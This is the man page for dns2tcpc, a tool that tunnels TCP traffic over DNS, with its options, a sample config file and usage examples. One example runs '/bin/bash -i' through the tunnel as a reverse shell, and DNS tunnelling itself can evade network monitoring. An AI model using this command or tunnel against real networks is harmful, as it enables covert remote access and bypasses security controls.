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dns2tcpc - A tunneling tool that encapsulate TCP traffic over DNS.


dns2tcpc [ -h ] [ -c ] [ -z domain zone ] [ -d debug_level ] [ -r resource ] [ -k key ] [
-f config_file ] [ -e command ] [ -T request type ] [ -l local_port ] [ server ]


dns2tcpc is a network tool used to encapsulate TCP communications in DNS. When connections
are received on a specific port all TCP traffic is sent to the remote dns2tcpd server and
forwarded to a specific host and port. Multiple connections are supported.

dns2tcpc was written for demonstration purposes.


-h Help Menu

-c Enable DNS compression. When used, be sure that all relay and DNS server support
compression and really use it.

-z domain zone
Use this domain as endpoint.

-d debug level
Change debug level. Levels available are 1, 2 or 3.

-r resource
Remote resource to access.

-k key Pre shared key used for authentication (identification).

-f config file
Configuration file to use.

-T request type
Request type to use. Actually only KEY and TXT requests are supported.

-e command
Command to execute, I/O are redirected in the tunnel.

-l local_port
Local port accepting incomming connections (or - for stdin on UNIX systems).

-t connection timeout
Maximum DNS server's answer delay in seconds. A valid delay is between 1 and 240
seconds. Default is 3.

server DNS server to use. The first entry in resolv.conf file will be choosen if the
server is not specified.


By default ${HOME}/.dns2tcprc is used if no configuration file is specified. Here is an
example :

domain = dns2tcp.hsc.fr
resource = ssltunnel
local_port = 4430
enable_compression = 0
debug_level = 1
key = mykey
# DNS to use
server = ns.hsc.fr


dns2tcpc -k mykey -z dns2tcp.hsc.fr mydns

Ask the dns2tcp server to list available resources.

ssh -o 'ProxyCommand dns2tcpc -r ssh -l - -z dns2tcp.hsc.fr -k mykey mydns' myserver

Use dns2tcp as a proxy command with ssh. We try to connect to the ssh resource with
the key 'mykey' and the DNS mydns.

dns2tcpc -r socat-resource -e '/bin/bash -i' -k mykey -z dns2tcp.hsc.fr mydns

Use dns2tcp as a reverse shell, the remote shell will appear on the socat-resource.

dns2tcpc -d 1 -f /dev/null -r ssl-tunnel -l 2000 -k mykey -T KEY -z dns2tcp.hsc.fr mydns

Do not use the default configuration file, bind local port 2000 and forward all the
traffic on the remote ssl-tunnel resource, use the first debug level. Use KEY type
DNS requests.


Olivier Dembour <[email protected]>

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